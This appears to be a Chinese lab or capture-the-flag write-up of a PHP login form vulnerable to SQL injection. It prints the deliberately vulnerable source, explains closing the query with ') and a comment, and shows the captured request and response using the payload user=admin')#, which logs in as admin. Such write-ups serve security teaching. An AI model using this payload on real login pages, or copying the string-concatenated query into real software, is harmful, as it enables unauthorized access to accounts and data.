

## 1、知识点

知识点	说明
mysql_connect()	建立Mysql连接, 语法 mysql_connect(server,user,pwd,newlink,clientflag)
mysql_fetch_array()	从结果集中取得一行作为关联数组 / 数字数组 / 二者兼有

## 2、源码

```
<?php

if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("*****", "*****", "*****");
    mysql_select_db("*****") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
    }
    $user = $_POST[user];
    $pass = md5($_POST[pass]);

    $sql = "select user from php where (user='$user') and (pw='$pass')";
    $query = mysql_query($sql);
    if (!$query) {
        printf("Error: %s\n", mysql_error($conn));
        exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    //echo $row["pw"];
    if($row['user']=="admin") {
        echo "<p>Logged in! Key: ***** </p>";
    }

    if($row['user'] != "admin") {
        echo("<p>You are not admin!</p>");
    }
}

?>
```

## 3、分析

1) 程序通过POST方法接收参数user和pass, 并通过') 闭合带入SQL语句中查询, 并且在后面对user的值是否为admin进行了判断, 是admin才输出flag。

```

$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select user from users where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
    printf( format: "Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, result_type: MYSQL_ASSOC);
echo $row["pw"];

if($row['user']=="admin") {
    echo "<p>Logged in! Key: ***** </p>";
}

```

2) 由于SQL语句从接收参数到拼接过程中, 没有对值进行过滤, 此时可以通过闭合')达到SQL注入, 并通过将user设置为admin, 即可得到flag。

**Request**

Pretty
Raw
Hex

```

3 Cookie: PHPSESSID=a0scp54kdlq7eq48vi8so510d7
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11 Sec-Fetch-Site: none
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Accept-Encoding: gzip, deflate
16 Accept-Language: zh-CN,zh;q=0.9
17 Connection: close
18 Content-Type: application/x-www-form-urlencoded
19 Content-Length: 20
20
21 user=admin')#&pass=x

```

0 matches

**Response**

Pretty
Raw
Hex
Render

(!) Notice: Use of undefined constant user - assumed 'user' in F:\Range\PhpStudy2018\PHPTutorial\WWW\PHP\_bugs\11.php on line 10

#	Time	Memory	Function	Location
1	0.0008	138200	{main}()	...\11.php:0

(!) Notice: Use of undefined constant pass - assumed 'pass' in F:\Range\PhpStudy2018\PHPTutorial\WWW\PHP\_bugs\11.php on line 11

#	Time	Memory	Function	Location
1	0.0008	138200	{main}()	...\11.php:0

(!) Notice: Undefined index: pw in F:\Range\PhpStudy2018\PHPTutorial\WWW\PHP\_bugs\11.php on line 24

#	Time	Memory	Function	Location
1	0.0008	138200	{main}()	...\11.php:0

Logged in! Key: \*\*\*\*\*

## 4、利用

```
user=admin')#&pass=x
```